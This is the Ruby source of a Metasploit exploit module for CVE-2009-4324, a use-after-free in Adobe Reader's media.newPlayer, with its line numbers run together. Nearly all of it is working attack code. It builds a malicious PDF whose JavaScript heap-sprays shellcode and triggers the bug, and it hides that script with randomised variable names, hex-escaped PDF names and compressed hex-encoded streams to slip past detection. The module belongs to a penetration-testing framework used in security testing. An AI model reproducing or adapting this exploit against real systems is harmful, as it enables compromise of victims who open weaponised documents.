Path: blob/master/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',17'Description' => %q{18This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat19Professional versions up to and including 9.2.20},21'License' => MSF_LICENSE,22'Author' => [23'unknown', # Found in the wild24# Metasploit version by:25'hdm',26'pusscat',27'jduck'28],29'References' => [30[ 'CVE', '2009-4324' ],31[ 'BID', '37331' ],32[ 'OSVDB', '60980' ]33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36'DisablePayloadHandler' => true37},38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00",41'DisableNops' => true42},43'Platform' => 'win',44'Targets' => [45# test results (on Windows XP SP3)46# reader 6.0.1 - vulnerable / doesn't work47# reader 7.0.5 - untested48# reader 7.0.8 - untested49# reader 7.0.9 - vulnerable / doesn't work50# reader 7.1.0 - untested51# reader 7.1.1 - untested52# reader 8.0.0 - untested53# reader 8.1.1 - works54# reader 8.1.2 - untested55# reader 8.1.3 - untested56# reader 8.1.4 - untested57# reader 8.1.5 - untested58# reader 8.1.6 - untested59# reader 9.0.0 - untested60# reader 9.1.0 - works61# reader 9.2 - works (no debugger, no DEP)62[63'Adobe Reader Windows English (JS Heap Spray)',64{65'Size' => (0x10000 / 2),66'Ret' => 0x0c0c0c0c,67}68],69[70'Adobe Reader Windows German (JS Heap Spray)',71{72'Size' => (0x10000 / 2),73'Ret' => 0x0a0a0a0a,74}75],76],77'DisclosureDate' => '2009-12-14',78'DefaultTarget' => 0,79'Notes' => {80'Reliability' => UNKNOWN_RELIABILITY,81'Stability' => UNKNOWN_STABILITY,82'SideEffects' => UNKNOWN_SIDE_EFFECTS83}84)85)8687register_options(88[89OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),90]91)92end9394def exploit95# Encode the shellcode.96shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))9798# Make some nops99nops = Rex::Text.to_unescape([target.ret].pack('V'))100101# Randomize variables102#103len = 72104rand1 = rand_text_alpha(rand(100) + 1)105rand2 = rand_text_alpha(rand(100) + 1)106rand3 = rand_text_alpha(rand(100) + 1)107rand4 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')108rand5 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')109110vtbuf = [target.ret].pack('V') * 4111vtbuf << rand_text_alpha(len - vtbuf.length)112vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')113retstring = Rex::Text.to_unescape(vtbuf)114115# The printd strings are 72 bytes (??)116script = %Q|117var #{rand1} = unescape("#{shellcode}");118var #{rand2} = unescape("#{nops}");119var #{rand3} = unescape("#{retstring}");120121while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};122#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);123124memory=new Array();125126for(i=0;i<0x2000;i++) {127memory[i]= #{rand2} + #{rand1};128}129130util.printd("#{rand4}", new Date());131util.printd("#{rand5}", new Date());132try {this.media.newPlayer(null);} catch(e) {}133util.printd(#{rand3}, new Date());134|135136# Create the pdf137pdf = make_pdf(script)138139print_status("Creating '#{datastore['FILENAME']}' file...")140141file_create(pdf)142end143144def random_non_ascii_string(count)145result = ""146count.times do147result << (rand(128) + 128).chr148end149result150end151152def io_def(id)153"%d 0 obj" % id154end155156def io_ref(id)157"%d 0 R" % id158end159160# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/161def n_obfu(str)162result = ""163str.scan(/./u) do |c|164if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'165result << "#%x" % c.unpack("C*")[0]166else167result << c168end169end170result171end172173def ascii_hex_whitespace_encode(str)174result = ""175whitespace = ""176str.each_byte do |b|177result << whitespace << "%02x" % b178whitespace = " " * (rand(3) + 1)179end180result << ">"181end182183def make_pdf(js)184xref = []185eol = "\x0d\x0a"186endobj = "endobj" << eol187188pdf = "%PDF-1.5" << eol189pdf << "%" << random_non_ascii_string(4) << eol190xref << pdf.length191pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj192xref << pdf.length193pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj194xref << pdf.length195pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj196xref << pdf.length197pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj198xref << pdf.length199pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj200xref << pdf.length201compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))202pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol203pdf << "stream" << eol204pdf << compressed << eol205pdf << "endstream" << eol206pdf << endobj207xrefPosition = pdf.length208pdf << "xref" << eol209pdf << "0 %d" % (xref.length + 1) << eol210pdf << "0000000000 65535 f" << eol211xref.each do |index|212pdf << "%010d 00000 n" % index << eol213end214pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol215pdf << "startxref" << eol216pdf << xrefPosition.to_s() << eol217pdf << "%%EOF" << eol218end219end220221222